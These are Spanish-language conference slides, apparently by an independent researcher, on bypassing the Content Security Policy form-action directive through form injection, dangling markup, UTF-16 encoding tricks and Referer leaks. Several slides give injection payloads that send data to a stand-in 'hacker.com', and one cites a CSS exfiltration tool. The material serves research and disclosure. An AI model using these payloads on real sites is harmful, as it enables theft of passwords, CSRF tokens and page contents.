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El Content Security Policy
no deja explotar las vulnerabilidades



El Content Security Policy
no deja explotar las vulnerabilidades



300 de los sitios más visitados del mundo

44% usan el Content Security Policy

98.5% son vulnerables

Seguro 1.5%Estadísticas

Explotable 98.5%



# whoami

me inicié en el hacking hace 
20 años

Investigador independiente 
para mi blog Proyecto NZT-48

nzt-48.org

ponente en conferencias:

Hackfest Canada
Hack Space Con Florida
BSides Seattle
DragonJAR Colombia
BugCON
Pwnterrey
y otros...



La explicación completa
se encuentra en:

nzt-48.org



La defensa de seguridad



${ inyeccion_de_contenido }







<textarea>











Botón con CSS,
invisible y enorme



Botón con CSS



Botón con CSS



Botón con CSS



Botón con CSS



Content Security Policy form-action

restringe a dónde los formularios pueden ser enviados

form-action 'self';

Defensa



Misión

form-action 'self';

evadir form-action y enviar el formulario a un dominio externo



Casi nadie usa form-action

No usan form-action Usan form-action



Inyección de formulario



¿Y si no hay nada valioso?

${ inyeccion_de_contenido }



¿Y si no hay nada valioso?

inyección de formulario

${ inyeccion_de_contenido }



¿Y si no hay nada valioso?
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¿Y si no hay nada valioso?



¿Y si no hay nada valioso?



¿Y si no hay nada valioso?



¿Y si no hay nada valioso?



¿Y si no hay nada valioso?



El password manager no puede ser 
deshabilitado por la aplicación

autocomplete="off"

Si la aplicación tiene un login,
la aplicación puede ser explotada





Inyección de marcado incompleto

La resurrección



${ inyeccion_de_contenido }



Dangling Markup Injections



Dangling Markup Injections





Inyección de marcado incompleto

Leave an unclosed quote
to consume the content



Leave an unclosed quote
to consume the content

Los URLs con < > %0A %0D son bloqueados

Inyección de marcado incompleto



Inyección de marcado incompleto



Técnica #1
Ataque de codificación UTF-16 

Reviviendo las inyecciones de marcado incompleto



Técnica #1 Ataque de codificación UTF-16

<iframe src="https://hacker.com/">

<iframe src="data:text/html; charset=utf-8, <h1> Hello </h1>">



<iframe src="https://hacker.com/">

<iframe src="data:text/html; charset=utf-8, <h1> Hello </h1>">

data:text/html; charset=utf-8, <h1> Hello </h1>

Tipo de archivo Codificación de caracteres Contenido

Técnica #1 Ataque de codificación UTF-16





















<style> *{background-image: url(http://hacker.com/leak?data=

Codificado en UTF-16

secreto

  < >



Bypass #1 UTF-16 character set encoding attack



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF

%E6       %B9       %A9

%E7       %95       %B0

%E2       %81       %B4

%E7       %A5       %B4

%E6       %95       %B0

%E2       %88       %BD



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011  10110000  10101111
%E6       %B9       %A9
    0110  10111001  10101001
%E7       %95       %B0
    0111  10010101  10110000
%E2       %81       %B4
    0010  10000001  10110100
%E7       %A5       %B4
    0111  10100101  10110100
%E6       %95       %B0
    0110  10010101  10110000
%E2       %88       %BD
    0010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011    110000    101111
%E6       %B9       %A9
    0110    111001    101001
%E7       %95       %B0
    0111    010101    110000
%E2       %81       %B4
    0010    000001    110100
%E7       %A5       %B4
    0111    100101    110100
%E6       %95       %B0
    0110    010101    110000
%E2       %88       %BD
    0010    001000    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011    110000    101111
%E6       %B9       %A9
    0110    111001    101001
%E7       %95       %B0
    0111    010101    110000
%E2       %81       %B4
    0010    000001    110100
%E7       %A5       %B4
    0111    100101    110100
%E6       %95       %B0
    0110    010101    110000
%E2       %88       %BD
    0010    001000    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    00111100    00    101111
%E6       %B9       %A9
    01101110    01    101001
%E7       %95       %B0
    01110101    01    110000
%E2       %81       %B4
    00100000    01    110100
%E7       %A5       %B4
    01111001    01    110100
%E6       %95       %B0
    01100101    01    110000
%E2       %88       %BD
    00100010    00    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    00111100        00101111
%E6       %B9       %A9
    01101110        01101001
%E7       %95       %B0
    01110101        01110000
%E2       %81       %B4
    00100000        01110100
%E7       %A5       %B4
    01111001        01110100
%E6       %95       %B0
    01100101        01110000
%E2       %88       %BD
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    00111100        00101111

    01101110        01101001

    01110101        01110000

    00100000        01110100

    01111001        01110100

    01100101        01110000

    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    00111100        00101111

    01101110        01101001

    01110101        01110000

    00100000        01110100

    01111001        01110100

    01100101        01110000

    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c    %2f 
    00111100        00101111
    %6e    %69 
    01101110        01101001
    %75 %70 
    01110101        01110000
    %20  %74 
    00100000        01110100
    %79 %74 
    01111001        01110100
    %65 %70 
    01100101        01110000
    %20    %3d 
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c = < %2f = /
    00111100        00101111
    %6e = n %69 = i
    01101110        01101001
    %75 = u %70 = p
    01110101        01110000
    %20 =  %74 = t
    00100000        01110100
    %79 = y %74 = t
    01111001        01110100
    %65 = e %70 = p
    01100101        01110000
    %20 =   %3d = =
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c = < %2f = /
    00111100        00101111
    %6e = n %69 = i
    01101110        01101001
    %75 = u %70 = p
    01110101        01110000
    %20 =  %74 = t
    00100000        01110100
    %79 = y %74 = t
    01111001        01110100
    %65 = e %70 = p
    01100101        01110000
    %20 =   %3d = =
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c =  %2f = 
    00111100        00101111
    %6e = %69 = 
    01101110        01101001
    %75 = %70 = 
    01110101        01110000
    %20 =  %74 = 
    00100000        01110100
    %79 =  %74 = 
    01111001        01110100
    %65 = %70 = 
    01100101        01110000
    %20 =   %3d = 
    00100010        00111101

<input type=



Política frame-src 

data: es permitido data: es prohibido

Sólo funciona el 19.6% del tiempo



Técnica #2
Hackeando con estilo

Funciona el %70.4 del tiempo



Técnica #2 - ataque de codificación UTF-16



Técnica #2 - ataque de codificación UTF-16



Técnica #2 - ataque de codificación UTF-16



Técnica #2 - ataque de codificación UTF-16



Técnica #2 - ataque de codificación UTF-16



Técnica #2 - ataque de codificación UTF-16



好咖啡

Técnica #2 - ataque de codificación UTF-16



Política style-src 

data: es permitido data: es prohibido



Técnica #3

Funciona sea cual sea la configuración

default-src 'none'; form-action 'none'; 



Técnica #3

${ inyeccion_de_contenido }



Técnica #3



Técnica #3



enlace desactivado

Técnica #3



Técnica #3

enlace desactivado



Enorme e invisible

Técnica #3



Técnica #4

Evadiendo validaciones



Técnica #4



Técnica #4

alert(window.name)



Permite cualquier dominio Sólo ciertos dominios

Política frame-src 



Política object-src 

Permite cualquier dominio Sólo ciertos dominios



Técnica #4

Hallado por otra persona:

https://issues.chromium.org/issues/40089058

https://issues.chromium.org/issues/40089058


Evasión del Content Security Policy



<a href='https://hacker.com/inicio'> Click me </a>



GET /inicio HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Referer: http://victim.com/vulnerable_page

...

<a href='https://hacker.com/inicio'> Click me </a>



<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



<img src='//hacker.com/img' referrerpolicy='unsafe-url' />

GET /img HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Referer: http://victim.com/vulnerable_page

...



/vulnerable.aspx?xss=<h1> Hello </h1>

Evasión del Content Security Policy



/vulnerable.aspx?xss=

${ inyeccion_de_contenido }



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



Evasión del Content Security Policy

?xss=<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



GET /img HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*;

Referer: http://lab.localhost/vulnerable.aspx?xss=%3Cimg%20 

src=%22//hacker.com/img%22%20referrerpolicy=%27unsafe-url%27%3E

Accept-Encoding: gzip, deflate, br, zstd

?xss=<img src='//hacker.com/img' referrerpolicy='unsafe-url' />

Evasión del Content Security Policy











<img src='//hacker.com/img' referrerpolicy='unsafe-url' />





/vulnerable.aspx

Maneras de exfiltrar la URL



/vulnerable.aspx

Redirección



Evasión del Content Security Policy



Política form-action

98.5%



Seguro 1.5%

Aplicaciones cuyo form-action puede ser roto

Explotable 98.5%

98.5%



Otras tácticas para lidiar con 
el Content-Security-Policy



style-src siempre está en 'unsafe-inline'



style-src siempre está en 'unsafe-inline'

El CSS es peligroso pero mucha gente no sabe

Aplicaciones que permiten CSS



Algoritmos con CSS:

● Aritmética
● Memoria
● Condiciones
● Ciclos

Gareth Heyes, Eduardo Vela Nava, David Lindsay en Blue Hat:

https://thespanner.co.uk/2008/10/20/bluehat

CSS armamentado

style-src siempre está en 'unsafe-inline'

https://thespanner.co.uk/2008/10/20/bluehat


Herramienta de explotación por Gareth Heyes de Portswigger

 ***** Exfiltración de datos con CSS *****

<style> @import 'https://portswigger-labs.net/blind-css-exfiltration/start'; </style>

@garethheyes

https://x.com/garethheyes


style-src siempre está en 'unsafe-inline' 

Más investigaciones sobre ataques con CSS:

Mario Heiderich  
https://www.slideshare.net/x00mario/stealing-the-pie

@kinugawamasato
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

@SecurityMB
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

@SecurityMB
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20a
nd%20stylesheet%20processing

Pepe Vila 
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

@d0nutptr
https://github.com/d0nutptr/sic

http://heideri.ch/
https://www.slideshare.net/x00mario/stealing-the-pie
http://twitter.com/kinugawamasato
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
http://twitter.com/SecurityMB
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
http://twitter.com/SecurityMB
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://twitter.com/cgvwzq
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
https://twitter.com/d0nutptr
https://github.com/d0nutptr/sic


Sobre escritura de parámetros



Sobre escritura de parámetros



Sobre escritura de parámetros



Sobre escritura de parámetros



Sobreescribiendo parámetros

A veces el 1er parámetro es usado

A veces el 2do parámetro es usado

https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89 

https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89


Exfiltración de tokens anti CSRF



Exfiltración de tokens anti CSRF



Exfiltración de tokens anti CSRF



Conclusiones



La aplicación es explotable
si form-action no es usado

La gran mayoría de sitios web no usan form-action
( ~82.5% del tiempo )



La directiva form-action puede ser rota

● Aún si form-action está en 'self' los formularios todavía 
se pueden usar para enviar el formulario a otro dominio

● Todo el documento es consumido, sin necesidad de comilla

● Requiere interacción del usuario: 1 click

● El 87.5% de los sitios tienen form-action en 'self'



El bug bounty puede pagar si la app tiene login

El password manager no puede ser deshabilitado por la 
aplicación.



La inyección de marcado incompleto es útil
cuando form-action está en 'none'

● No se requiere interacción del usuario

● Estos ataques pueden ser bloqueados por otras directivas
( img-src, style-src, frame-src )

● El ataque de enlace <a> requiere 1 click del usuario pero no 
puede ser bloqueado por ninguna directiva.

● Debe haber una comilla que termine la URL



Cuando form-action está en 'self'

Puede que la aplicación siga vulnerable

● Same-Site Request Forgery

● Sobre escritura de parámetros



Michal Zalewski, @lcamtuf

No sabía que algunas de estas técnicas 
son públicas desde 2011

Otras son nuevas.

Postcards from the post-XSS world
(2011)

https://lcamtuf.coredump.cx/postxss/

https://lcamtuf.coredump.cx/postxss/


Artículo escrito:
nzt-48.org

X: @ruben_v_pina
Mastodon: @ruben_v_pina

linkedin.com/in/ruben-v-pina/

http://www.nzt-48.org

